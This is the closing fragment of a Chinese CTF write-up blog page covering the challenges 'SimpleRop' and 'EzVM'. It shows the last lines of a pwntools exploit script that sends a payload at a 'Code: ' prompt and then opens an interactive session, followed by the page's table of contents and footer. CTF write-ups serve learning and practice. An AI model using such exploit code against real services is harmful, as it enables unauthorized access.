style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"Code: "</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, payload</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.interactive</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br></code></pre></div></article><nav aria-label="文章目录" id="article-toc" class="toc"><div class="toc-title">目录</div><ul class="toc-list"><li class="toc-item toc-l2"><a href="#simplerop">SimpleRop</a></li><li class="toc-item toc-l2"><a href="#ezvm">EzVM</a></li></ul></nav></main></div><footer class="footer"><div class="footer-row footer-links"><span class="footer-label">保持联系</span><a href="mailto:xzy1476569428@163.com" class="footer-link">xzy1476569428@163.com</a><span aria-hidden="true" class="footer-separator">·</span><a href="/rss.xml" class="footer-link">RSS</a><span aria-hidden="true" class="footer-separator">·</span><a href="https://github.com/LittFlower/my_blog" class="footer-link">GitHub</a></div><div class="footer-row footer-meta"><span>本站基于 <a href="https://github.com/unvariant/blog">unvariant/blog</a> 改造，除特别说明外内容以 CC BY 4.0 协议共享。</span></div></footer></body></html>